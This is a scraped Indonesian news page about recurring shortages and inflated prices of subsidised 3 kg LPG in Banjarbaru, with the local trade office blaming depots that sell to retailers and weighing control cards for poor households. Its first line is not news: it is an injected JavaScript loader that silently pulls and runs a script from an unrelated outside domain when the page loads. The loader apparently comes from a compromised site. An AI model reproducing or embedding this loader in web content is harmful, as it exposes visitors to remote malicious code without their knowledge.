(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, LPG (Liquefied petroleum gas) bersubsisi ukuran 3 kilogram berulang kali mengalami kelangkaan, hingga membuat harga melambung tinggi di tingkat pengecer. Mengatasi hal itu, Dinas Perdagangan Banjarbaru menggelar rapat dengan stakeholder terkait guna mencari penyebab dan solusinya.
Kepala Dinas Perdagangan Banjarbaru Abdul Basit mengatakan, dalam rapat yang dihadiri perwakilan Pertamina, agen dan pemilik pangkalan tersebut disimpulkan bahwa kelangkaan LPG 3 Kg bukan hanya dipengaruhi oleh terlambatnya suplai. Tapi juga akibat maraknya pengecer.
“Pertamina menyebut kuota yang didistribusikan mencukupi. Tapi kenapa tetap langka dan harganya mahal? Itu lantaran ada pangkalan yang sengaja menjualnya ke pengecer. Jadi, kuota ke masyarakat miskin berkurang,†katanya, kemarin.
Basit mengungkapkan, seharusnya pendistribusian LPG bersubsidi itu dari pangkalan langsung ke masyarakat. Bukannya malah berlanjut ke pengecer, baru ke masyarakat. “Ini ulah pangkalan yang ingin ambil untung. Kalau menjual ke masyarakat kan dibatasi HET, tapi kalau ke pengecer bisa lebih dari itu,†ungkapnya.
Karena para pengecer membelinya lebih dari HET, maka mereka (pangkalan) juga menjual dengan harga yang lebih mahal. “Pengecer ini juga menjualnya ke semua kalangan. Padahal, LPG hanya diperuntukkan bagi masyarakat miskin,†ujar Abdul Basit.
Setelah mengetahui permasalahan lapangan, didapatkan beberapa pemikiran untuk mengatasainya. Salah satunya, dengan menerapkan kartu kendali. “Kartu ini hanya dimiliki warga miskin yang berhak. Jadi, bagi yang tidak punya kartu kendali tidak bisa membeli gas bersubsidi,†ungkapnya.
Hanya saja, menurutnya penggunaan kartu kendali perlu dikaji terlebih dahulu. Sebab, sebelum menerapkannya harus ada pendataan. “Kita harus mendata, mana golongan masyarakat miskin dan yang tidak,†ujarnya.
Selain penerapan kartu kendali, dalam rapat itu juga ditemukan pemikiran lain. Yaitu, menetapkan HET tertinggi bagi pengecer. Supaya, para pengecer tak seenaknya menjual LPG 3 Kg jauh dari HET. “Tapi solusi itu ditolak dari Pertamina. Sebab, kalau itu dilakukan sama saja kita melegalkan keberadaan pengecer,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.